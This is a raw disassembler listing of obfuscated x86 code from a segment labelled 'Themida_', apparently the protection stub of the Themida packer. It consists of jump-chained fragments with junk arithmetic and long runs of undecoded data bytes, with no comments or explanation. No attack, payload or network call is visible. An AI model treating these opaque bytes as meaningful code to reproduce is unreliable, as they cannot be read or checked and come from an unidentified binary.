		dd 0D1004FBBh, 88E94B68h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D4FF:				; CODE XREF: Themida_:0054A4A9j
		sub	esp, 4
		jmp	loc_548251
; ---------------------------------------------------------------------------


loc_54D50A:				; CODE XREF: Themida_:0054C3A2j
		add	al, 7
		or	bh, al
		pop	eax
		xor	bh, 11h
		jmp	loc_54817E
; ---------------------------------------------------------------------------
		db 58h
		dd 922FE950h, 1F05FFFFh, 553FAF70h, 733268h, 243C8900h
		dd 48411BBFh, 8BFD891Bh, 0C481243Ch, 4,	0FFCC75E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54D541:				; CODE XREF: Themida_:00544BF4j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_545DF4
; ---------------------------------------------------------------------------


loc_54D54F:				; CODE XREF: Themida_:00546A46j
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_547EF7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHyv		db '$hyv',0
		align 2
		dw 0C89h
		dd 81E18924h, 4C1h, 2A7E6800h, 2DE90000h, 81FFFFF8h, 5F6CDCEEh
		dd 81C60108h, 5F6CDCC6h, 0CDB9E908h, 481FFFFh, 424h, 2434FF00h
		dd 0FFF26BE9h, 4C481FFh, 1000000h, 0BAEE81CEh, 595E724Bh
		dd 0FFBB4DE9h, 5AD189FFh, 0BEAE9h, 4EC8100h, 89000000h
		dd 2CE9243Ch
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D5CB:				; CODE XREF: Themida_:00544B76j
		shr	eax, 12h
		xor	eax, ecx
		push	302Bh
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_548022
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 24041166h, 0F822E99Ch, 0B652FFFFh, 8BF788AAh
		dd 0C4812414h, 4, 2678E9h
		db 0
; ---------------------------------------------------------------------------


loc_54D609:				; CODE XREF: Themida_:005495FEj
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, 37A15179h
		inc	eax
		jmp	loc_547BEC
; ---------------------------------------------------------------------------
		dw 0F5B0h
		dd 8B66C330h, 0C4832404h, 0E9DD8802h, 0FFFFD71Dh, 83241C8Bh
		dd 0BE5604C4h, 6446148Ch, 0FF7209E9h, 2434FFFFh, 2243E9h
		dd 0F6FE3000h, 50FE86D7h, 0EC8051B4h, 0F6CCFEC4h, 84C480DCh
		dd 0EEE9E608h, 25000009h, 55601D6Eh, 0D0F7D8F7h, 27628305h
		dd 2DD0F77Eh, 1232277Dh, 0BA58C789h, 13F0544Bh,	815FFA31h
		dd 563D0BF2h, 0FFD12178h, 0F1E92434h
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D68F:				; CODE XREF: Themida_:00550399j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	3DEEh
		mov	[esp], ebp
		jmp	loc_54B7CB
; ---------------------------------------------------------------------------
		db 1, 0F9h, 5Fh
		dd 2049E9h, 56685100h, 5966337Eh, 0C375E981h, 0C8894F7Ah
		dd 5AD00159h, 0FFE4AEE9h, 243C33FFh, 33243C31h,	0E95C243Ch
		dd 0FFFFB677h, 0BA60E953h, 685AFFFFh, 0A4Ah, 0FF240C89h
		dd 59042474h, 8B24048Fh, 7FE92424h, 5FFFF6Eh, 4, 405h
		dd 24048700h, 124248Bh,	696B05D8h, 0BDE936F9h, 80FFFF7Bh
		dd 0DD283CEBh, 4DC5805Bh, 0FF7BDAE9h, 3C77FFFFh, 0FFF88CE9h
		dd 4C483FFh, 6E28E381h,	0F3817533h, 22FF72DEh, 292EBD55h
		dd 42E9082Dh, 66FFFF9Fh, 0E924048Bh, 0FFFFFA9Eh, 24048B66h
		dd 0E9E08950h, 0FFFFF551h, 5EF78959h, 4FB668h, 243C8900h
		dd 1D5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_54D77D:				; CODE XREF: Themida_:00544ED0j
		push	eax
		mov	eax, 44706D16h
		inc	eax
		shl	eax, 7
		inc	eax
		sub	eax, 38368B7Dh
		add	edx, eax
		pop	eax
		jmp	loc_54C463
; ---------------------------------------------------------------------------


loc_54D795:				; CODE XREF: Themida_:0054A1B1j
		add	ebx, esi
		sub	ebx, 66020637h
		mov	esi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_545914
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 0E99C240Ch, 0FFFF6DD2h, 8324048Bh, 685B04C4h, 3ABCh
		dd 0E9243489h, 0FFFFA8B3h, 0EAC1D2F7h, 3BE5603h, 311DCA25h
		dd 0D1015EF2h, 2146685Ah, 34890000h, 81E68924h,	4C6h, 4BA5200h
		dd 29000000h, 34875AD6h, 1C895C24h, 0BB24h, 0DFE90000h
		dd 54000019h, 0E924048Fh, 0FFFFDD3Ah, 7846EA81h, 0BD5555FAh
		dd 7BBF6E4Ah, 154CCD81h, 814D4C30h, 150E51CDh, 0BAC58142h
		dd 0E9253901h, 0FFFFD9FEh
; ---------------------------------------------------------------------------


loc_54D834:				; CODE XREF: Themida_:0054A264j
		dec	esi
		push	ebx
		mov	ebx, 0A33620Dh
		add	ebx, 2EFC4279h
		jmp	loc_547276
; ---------------------------------------------------------------------------
		dw 0C601h
		dd 12E9h, 95E95100h
		db 6Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D853:				; CODE XREF: Themida_:00548BDDj
		pop	esi
		add	esp, 4
		or	ebp, ebx
		pop	ebx
		jmp	loc_548794
; ---------------------------------------------------------------------------
		db 58h
		dd 0E9243487h, 0FFFF751Eh, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 405h, 4ECD6800h, 2C890000h, 0C363E924h, 0FD35FFFFh
		dd 81475EDEh, 9E2175C5h, 81C50137h, 9E2175EDh, 24048B37h
		dd 4C481h, 0EC810000h, 4, 0FFC190E9h, 4EE381FFh, 0E9065542h
		dd 2323h, 0E904EC83h, 0FFFF8900h
; ---------------------------------------------------------------------------


loc_54D8C4:				; CODE XREF: Themida_:00549496j
		xor	eax, ecx
		push	esi
		mov	esi, esp
		jmp	loc_5457F5
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0FFCD57E9h, 9FE9ACFFh
		dd 66FFFF87h, 0E96EA568h, 0FFFFA556h, 0DB61680Dh, 4E570D7Eh
		dd 0EC814E0Bh, 4, 0B9240C89h, 0EF6C0C7Dh, 0FFCA62E9h, 0EC815CFFh
		dd 2, 1518E9h, 240C3300h, 33240C31h, 665C240Ch,	2404AB0Fh
		dd 6C58E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54D932:				; CODE XREF: Themida_:0055011Cj
		pop	ebx
		jmp	loc_54E510
; ---------------------------------------------------------------------------


loc_54D938:				; CODE XREF: Themida_:00547DB1j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_54458A
; ---------------------------------------------------------------------------
		dd 4C481h, 48B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4C0A0C1Ch
		sub	eax, ebx
		pop	ebx
		push	small word ptr [eax]
		jmp	loc_54458A
; ---------------------------------------------------------------------------


loc_54D979:				; CODE XREF: Themida_:0054BD39j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_54D237
; ---------------------------------------------------------------------------
		db 5Dh
		dd 81243C8Bh, 4C4h, 8BC82100h, 0C481240Ch, 4, 840FC009h
		dd 0FFFFA2ECh, 3B2468h,	24048900h, 0FFAE4EE9h, 75EB80FFh
		dd 0FFCF74E9h, 804AB7FFh, 0F828B7F7h, 0DF93E95Bh, 0E581FFFFh
		dd 27F17DAFh, 3579F581h, 0EA893652h, 0E9242C8Bh, 0FFFFB3FDh
		dd 4C481h, 0C7810000h, 4, 4EC81h, 27E90000h, 81FFFFB4h
		dd 4C4h, 0ECE95100h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54D9FB:				; CODE XREF: Themida_:005471D4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, 77B8679Fh
		jmp	loc_54E071
; ---------------------------------------------------------------------------


loc_54DA15:				; CODE XREF: Themida_:0054BC29j
		push	ecx
		mov	ecx, esp
		jmp	loc_54627C
; ---------------------------------------------------------------------------


loc_54DA1D:				; CODE XREF: Themida_:0054E8C1j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esp, 4
		shr	ecx, 0Bh
		push	esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		add	esi, 3EEE7C5Bh
		jmp	loc_544BEB
; ---------------------------------------------------------------------------
		db 1, 0EBh, 8Bh
		dd 0C481242Ch, 4, 26855h, 2C8B0000h, 31E924h, 2BE90000h
		dd 0FFFFFF6Bh, 34FF2434h, 5FE95824h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54DA6B:				; CODE XREF: Themida_:00545D88j
		push	0
		pop	ecx
		add	ecx, ebx
		mov	eax, [ecx]
		jmp	loc_54C2C9
; ---------------------------------------------------------------------------


loc_54DA7A:				; CODE XREF: Themida_:0054AAB5j
		pop	esi
		add	eax, edi
		sub	eax, 7D966F87h
		push	edx
		pop	dword ptr [eax]
		pop	eax
		jmp	loc_54A49D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 5AC38100h, 812F7D20h, 0FA4A62C3h, 0E9EB0164h
		dd 0FFFFC751h, 0EF37E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DAAA:				; CODE XREF: Themida_:0054DCB3j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C572
; ---------------------------------------------------------------------------
aLHld		db '▀$$hLd',0
		dw 8900h
		dd 0D388241Ch, 52D98851h, 95E9CE88h, 1FFFFDCh, 0E38159CBh
		dd 12F618ABh, 0C381DBF7h, 5D5080E8h, 1C8BDE29h,	4C48124h
		dd 0E9000000h, 0FFFFC4DDh, 97E9028Fh
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DAF3:				; CODE XREF: Themida_:0054C69Aj
		push	dword ptr [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_54CBFE
; ---------------------------------------------------------------------------
		db 64h,	8Fh, 2
		dd 0FF6A79E9h, 3C8B5BFFh, 4C48324h, 205h, 6E0AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DB22:				; CODE XREF: Themida_:0054E474j
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_54BD2F
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 1FA2h
; ---------------------------------------------------------------------------


loc_54DB40:				; CODE XREF: Themida_:0054B387j
		push	30C3h
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_54BEB5
; ---------------------------------------------------------------------------


loc_54DB4F:				; CODE XREF: Themida_:0054E8E5j
		push	ecx
		mov	ecx, 6BC0550Eh
		add	ecx, 5C73514Bh
		shr	ecx, 8
		dec	ecx
		xor	ecx, 49A7918h
		jmp	loc_546264
; ---------------------------------------------------------------------------
		dw 1489h
		dd 1BA24h, 0D1210000h, 5A2434FFh, 0FF7A7CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DB7D:				; CODE XREF: Themida_:0054A4F2j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54F0FF
; ---------------------------------------------------------------------------


loc_54DB90:				; CODE XREF: Themida_:00549CC2j
		pop	edx
		jmp	loc_54CCB1
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 2404335Ah, 33240431h, 0BFE92404h, 53FFFFE4h,	0FFFE08E9h
		dd 2434FFFFh, 0F7E95158h, 0F7000012h, 366D68E1h, 14890000h
		dd 7FF2E924h, 0EA81FFFFh, 3EFF2D17h, 0C281C201h, 3EFF2D17h
		dd 0E924048Bh, 0FFFFB633h, 0C281E289h, 4, 4C281h, 14870000h
		dd 0A1E95C24h, 66FFFFBEh, 55240C8Bh, 0ECFE951h,	0D1F60000h
		dd 6650CF86h, 8812B551h, 26C3E9E8h, 0C8290000h,	6859h
		dd 4290000h, 0D73E924h,	1C870000h, 0F7E95C24h, 83FFFFEDh
		dd 2E6804C4h, 0E9000053h, 0FFFF735Eh, 0DA2E181h, 0E9810F96h
		dd 682097Eh, 0E959CD01h, 0FFFF8D53h
; ---------------------------------------------------------------------------


loc_54DC48:				; CODE XREF: Themida_:0054F22Dj
		mov	edi, 0CFE736BCh
		add	edi, 76931467h
		sub	edi, 1A951EC2h
		add	edi, ebp
		add	edi, 1A951EC2h
		sub	edi, 76931467h
		pop	ebp
		sub	edi, eax
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_54A059
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFF690Eh, 0DC28142h, 294468FBh, 685D5AD0h,	822h, 0BA241489h
		dd 11C64E17h, 0FFBC06E9h, 4C181FFh, 83000000h, 0DE904C1h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54DAAA
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4BB241Ch,	1000000h, 2434FFDEh, 2FE9515Bh
		dd 66FFFFEEh, 6600B60Fh, 66695A68h, 0E9240489h,	0FFFF68AAh
		dd 12454F6h, 241C8B66h,	2C481h,	50660000h, 9F08E952h, 8F66FFFFh
		dd 688CE902h, 0A6BBFFFFh, 0E960C61Eh, 18ABh, 0C159CD01h
		dd 0D5F705EDh, 59DEF581h, 0EA01FD54h, 93BD555Dh, 8136460Bh
		dd 60124BEDh, 0DEED812Ah, 0F739D15Ch, 5BC581DDh, 813DC156h
		dd 0ACB9F5F5h, 5DEA016Bh, 8B241487h, 0C4832424h, 9CC88504h
		dd 0FF683DE9h, 58C588FFh, 0EDC05B66h, 52CDFE05h, 0C6FE46B6h
		dd 807DE680h, 0F500CAC6h, 0B252665Ah, 7A71E99Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DD6E:				; CODE XREF: Themida_:00547BF3j
		sub	eax, 55C4C764h
		sub	ecx, eax
		jmp	loc_54AE7E
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 17D959C1h, 0EB81D3F7h, 6CED27CDh, 0FF8695E9h, 585450FFh
		dd 405h, 4C08300h, 7441E950h, 505FFFFFh, 0FFE9E8E9h, 24248BFFh
		dd 81E38953h, 4C3h, 4C38100h, 0E9000000h, 6Bh, 820459h
		dd 2EC81D8h, 66000000h,	0B6241489h, 28950482h, 66952CF0h
		dd 8124148Bh, 2C4h, 4DE95300h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DDE3:				; CODE XREF: Themida_:005454CEj
		mov	eax, 12E43505h
		xor	eax, 63BB4600h
		jmp	loc_545ECF
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 74F5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DDFE:				; CODE XREF: Themida_:00548A27j
		push	eax
		jmp	loc_54D24F
; ---------------------------------------------------------------------------
		dd 2414895Ch, 0FF677DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54DE0D:				; CODE XREF: Themida_:0054E06Cj
		add	ebx, edx
		add	[ebx], ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		popa
		jmp	loc_54F894
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 7Bh
		dd 87FFFFB2h, 685C241Ch, 13CAh,	0FFA3ABE9h, 54515CFFh
		dd 4C18159h, 53000000h,	4BA52h,	89510000h, 59CB89D1h, 5BD9015Ah
		dd 31240C33h, 0C33240Ch, 24248B24h, 68C8B70Fh, 7978h, 0E9240C89h
		dd 0FFFF671Eh
; ---------------------------------------------------------------------------


loc_54DE6C:				; CODE XREF: Themida_:0054E031j
		mov	esi, 2DD59F1h
		xor	edi, esi
		pop	esi
		and	esi, edi
		pop	edi
		shr	esi, 6
		neg	esi
		sub	esi, 57020D44h
		push	4548h
		mov	[esp], edi
		mov	edi, 7CA35BA0h
		jmp	loc_544CB5
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0BFE92424h, 80FFFFFCh
		dd 0CBFEFFC3h, 0E9F2F380h, 0FFFF790Dh, 0B1E9CEB3h, 52FFFF89h
		dd 3A0FEFBAh, 0CE4CE935h, 0C483FFFFh, 44496804h, 5EE90000h
		dd 53FFFF80h, 771294BBh, 0CDFDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54DEE2:				; CODE XREF: Themida_:00548E9Ej
		pop	ebx
		or	eax, eax
		jz	loc_5488FD
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 47827DDCh
		xor	[esp+4], esi
		jmp	loc_54CDD6
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h<%',0
		align 2
		dw 0C89h
		dd 0C8B5424h, 999BE924h, 0E958FFFFh, 0FFFF8E07h, 4C4815Dh
		dd 29000000h, 243C8BFBh, 5604C483h, 0FF6BFFE9h,	405FFh
		dd 4870000h, 0F0295C24h, 5E2434FFh, 55E08950h, 4D63CABDh
		dd 26CD8141h, 81505C47h, 0CD03E2CDh, 0E9D5F74Fh, 0FFFF685Ah
; ---------------------------------------------------------------------------


loc_54DF58:				; CODE XREF: Themida_:005505D4j
		xor	edi, edx
		xor	edx, edi
		push	eax
		push	edx
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 0A513940h
		inc	edx
		jmp	loc_5463BD
; ---------------------------------------------------------------------------
		dd 81242C89h, 4ECh, 24348900h, 0BA525E54h, 525B70A5h, 634CE281h
		dd 0EA8125A0h, 6000h, 815AD601h, 4EEh, 24348700h, 2434895Ch
		dd 0FFF3E9E9h, 59E800FFh, 582CD828h, 0FFDBF4E9h, 9BF57FFh
		dd 0E9590E48h, 0FFFFF3BFh, 2811055Ch, 0EAE9605Fh, 2CFFFFF5h
		dd 844FE920h, 0E189FFFFh, 4BD5550h, 89000000h, 0C1015DE8h
		dd 8324048Bh, 0BA5204C4h, 2, 785FC181h,	0C18175CBh, 3945DB8h
		dd 0E981D101h, 3945DB8h, 1703BF57h, 0C7810018h,	78CD00D3h
		dd 0D108E7C1h, 0B18CE9EFh, 0C681FFFFh, 0B3841D90h, 0FFE3F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E029:				; CODE XREF: Themida_:00548130j
		dec	edi
		and	edi, 22FC2A51h
		push	esi
		jmp	loc_54DE6C
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 47B2758Ch, 7A4CED81h, 0F5811356h, 0F03B963Eh, 0FFB2ACE9h
		dd 0E6C058FFh, 0D8F5E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E056:				; CODE XREF: Themida_:0054B29Fj
		push	edx
		push	319B181Ch
		pop	edx
		xor	edx, 5C4F1166h
		xor	edx, 6DD4094Ah
		mov	ebx, edx
		pop	edx
		jmp	loc_54DE0D
; ---------------------------------------------------------------------------


loc_54E071:				; CODE XREF: Themida_:0054DA10j
		sub	ebx, eax
		jmp	loc_549246
; ---------------------------------------------------------------------------
		dd 0EDE9515Dh
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E07F:				; CODE XREF: Themida_:00549D12j
		pop	eax
		jmp	loc_547DA1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 592434FFh, 0FFE10AE9h, 6C4FB9FFh, 41494BC1h,	0C6C18149h
		dd 291F90DBh, 5D5659CEh, 72C5815Eh, 2932B7E8h, 8A7DE9E8h
		dd 0D3E9FFFFh, 29FFFF64h, 0F7BD55D0h, 8108CE3Fh, 4ECh
		dd 24148900h, 8D1FBDBAh, 0CA2FE959h, 0F580FFFFh, 8BE830A3h
		dd 0EC81240Ch, 4, 54242C89h, 0FFE6F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E0E9:				; CODE XREF: Themida_:0054E361j
		sub	bl, 3Ch
		jmp	loc_54C156
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 241C895Ch, 42E9C788h, 58FFFF68h, 0FFC7CFE9h,	0C18159FFh
		dd 4, 8704C183h, 875C240Ch, 248B2434h, 2434FF24h, 63685058h
		dd 8900003Fh, 4832424h,	83580424h, 0C8904ECh, 68D4B924h
		dd 0C1813641h, 4B8D7579h, 0D97EE955h, 0B951FFFFh, 62FF549Eh
		dd 3325E981h, 0CF316143h, 0D5EF8159h, 2D3E3BF2h, 555D4B72h
		dd 76E9F801h, 51FFFFE4h, 0FF6B69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E169:				; CODE XREF: Themida_:0054B7DAj
		add	esi, 4
		jmp	loc_54CF9C
; ---------------------------------------------------------------------------


loc_54E174:				; CODE XREF: Themida_:0054E669j
		xchg	edx, ecx
		push	ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_54BB64
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 248B2404h, 4C18124h,	83000000h, 56E904ECh, 1FFFFC7h
		dd 7CA8E9CFh, 0F181FFFFh, 7D1A2844h, 9AC98149h,	8162337Fh
		dd 0D163FCF1h, 8BCE014Ch, 0C481240Ch, 4, 6D23C681h, 0CE01630Bh
		dd 6D23EE81h, 0ACE9630Bh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54E1DF:				; CODE XREF: Themida_:0054BA94j
		pop	edx
		pop	ebx
		not	esi
		xor	esi, 579FA611h
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 0Ch
		jmp	loc_54BCDA
; ---------------------------------------------------------------------------
		dd 0E9242C8Bh, 0FFFF9194h, 1D6DDDBFh, 0BA523Ah,	0E96DFF2Fh
		dd 0FFFFD1A7h, 6581CA81h, 0E95355B1h, 0FFFFA42Dh, 24048B66h
		dd 306568h, 241C8900h, 0FFED28E9h, 8BF588FFh, 0C4812414h
		dd 4, 34FFE800h, 89505924h, 405E0h, 0C0830000h,	14FCE904h
		dd 0F6810000h, 581C2094h, 24148B56h, 5E04C483h,	83242C8Bh
		dd 1FE904C4h, 81FFFF63h, 947BF8EBh, 0B31AE950h,	481FFFFh
		dd 630B6F24h, 0EA815A74h, 74630B6Fh, 8324348Bh,	0C8904ECh
		dd 81E18924h, 4C1h, 4EC8100h, 89000000h, 4BA2414h, 57000000h
		dd 0FFA75CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E2A9:				; CODE XREF: Themida_:0054CD85j
		add	edi, 4
		add	edi, 4
		jmp	loc_54A35F
; ---------------------------------------------------------------------------
		db 89h
		dd 0B8502424h, 4, 4244401h, 0C1815958h,	4, 4BE56h, 0F1010000h
		dd 8324348Bh, 936804C4h, 89000052h, 97E9240Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E2E7:				; CODE XREF: Themida_:00549ECEj
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_545398
; ---------------------------------------------------------------------------


loc_54E2F6:				; CODE XREF: Themida_:00550348j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6E157D73h
		sub	edx, 577C3154h
		jmp	loc_54CA56
; ---------------------------------------------------------------------------
		db 81h
		dd 0C116FDF5h, 30ED8114h, 0E95ABC60h, 200Ch, 83243C8Bh
		dd 0C20104C4h, 0FF7BD9E9h, 5EF001FFh, 0FFB40DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E335:				; CODE XREF: Themida_:0054C758j
		shl	ebx, 8
		or	ebx, 29E36B07h
		dec	ebx
		sub	ebx, 58C28CB2h
		dec	ebx
		jmp	loc_5471D3
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 53F9BB24h, 0DA291EFDh, 622CE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E35E:				; CODE XREF: Themida_:00546A73j
		sub	bl, ch
		pop	ecx
		jmp	loc_54E0E9
; ---------------------------------------------------------------------------


loc_54E366:				; CODE XREF: Themida_:00547F82j
		xchg	ebp, [esp]
		pop	esp
		add	bl, 27h
		sub	bl, al
		sub	bl, 27h
		push	small 1590h
		mov	[esp], dx
		mov	dl, 42h
		add	bl, dl
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		jmp	loc_548324
; ---------------------------------------------------------------------------


loc_54E392:				; CODE XREF: Themida_:00544791j
		xor	esi, 0E3847BFh
		inc	esi
		jmp	loc_54E743
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0D8E9E989h, 0BDFFFFF5h, 1, 4E5DEE29h, 4ED6F74Eh
		dd 8106EEC1h, 4ECh, 24148900h, 0FF9A23E9h, 0EC8358FFh
		dd 241C8904h, 952FE955h, 0FA29FFFFh, 116FEA81h,	0E95F2B37h
		dd 0FFFF70A8h, 0B2E9F300h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E3EB:				; CODE XREF: Themida_:005458AEj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_548A1F
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 6804C483h, 61EFh,	0E9241C89h, 0FFFF8ACFh
		dd 8417E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E40E:				; CODE XREF: Themida_:0054CF97j
		mov	edi, 4B520307h
		jmp	loc_54811E
; ---------------------------------------------------------------------------
		dd 8204CD04h, 0C3006634h, 0FFBE7FE9h, 0FFFF68FFh, 2958FFFFh
		dd 0EF8158C7h, 7A9E72AFh, 120EE952h, 4330000h, 24043124h
		dd 5C240433h, 8095E950h, 8957FFFFh, 4C781E7h, 83000000h
		dd 3C3304C7h, 9533E924h, 34FFFFFFh, 0C4815F24h,	4, 0FFED54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E46D:				; CODE XREF: Themida_:0054945Fj
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_54DB22
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 7E4468h, 24348900h, 95E9E689h, 81FFFFD6h, 621C06EEh
		dd 0C683593Eh, 24348702h, 6624248Bh, 5624048Bh,	0E957E689h
		dd 0FFFFB1B1h, 0E4EEC281h, 0D3894AD7h, 5BD8015Ah, 2940685Bh
		dd 3C890000h, 78BB5324h, 0E9705228h, 0A55h, 7E68BE2Dh
		dd 6541E933h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E4D2:				; CODE XREF: Themida_:00544FF7j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	ebp
		mov	ebp, 5BC825F8h
		inc	ebp
		shr	ebp, 6
		neg	ebp
		jmp	loc_54B3E6
; ---------------------------------------------------------------------------


loc_54E4EE:				; CODE XREF: Themida_:005446EFj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		not	edi
		xchg	edi, [esp]
		pop	eax
		push	ebx
		mov	ebx, 75745AA9h
		neg	ebx
		push	eax
		mov	eax, 35D11202h
		jmp	loc_5482FD
; ---------------------------------------------------------------------------


loc_54E510:				; CODE XREF: Themida_:0054D933j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	7E1Ch
		mov	[esp], eax
		mov	eax, 2EA85436h
		shr	eax, 4
		sub	eax, 2EA853Fh
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	2313h
		mov	[esp], ebp
		jmp	loc_54F5B9
; ---------------------------------------------------------------------------
		dw 0E580h
		dd 0B3F580C4h, 0FFF656E9h, 40F281FFh, 119FA2Bh,	55505AD5h
		dd 322F4ABDh, 5DE88953h, 0D06E8C1h, 461216E7h, 0FFF319E9h
		dd 0F3295EFFh, 81BA525Eh, 81144836h, 70066BF2h,	5AD3291Eh
		dd 12300F2Dh, 5D80150h,	5012300Fh, 2055Bh, 4870000h, 24248B24h
		dd 4A30F66h, 0E3E99C24h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54E5A7:				; CODE XREF: Themida_:0054C9B2j
		sub	edx, 731FBA8h
		xor	edi, edx
		pop	edx
		mov	ebp, edi
		jmp	loc_549C57
; ---------------------------------------------------------------------------
		db 56h
		dd 3F5773BEh, 8B5D5606h, 0C4812434h, 4,	0FFD08DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54E5CD:				; CODE XREF: Themida_:00550647j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_549321
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 243C875Eh, 0F24248Bh, 9C51C8AFh, 0FF5F99E9h,	2474FFFFh
		dd 48F5904h, 0DA60E924h
		db 2 dup(0FFh)
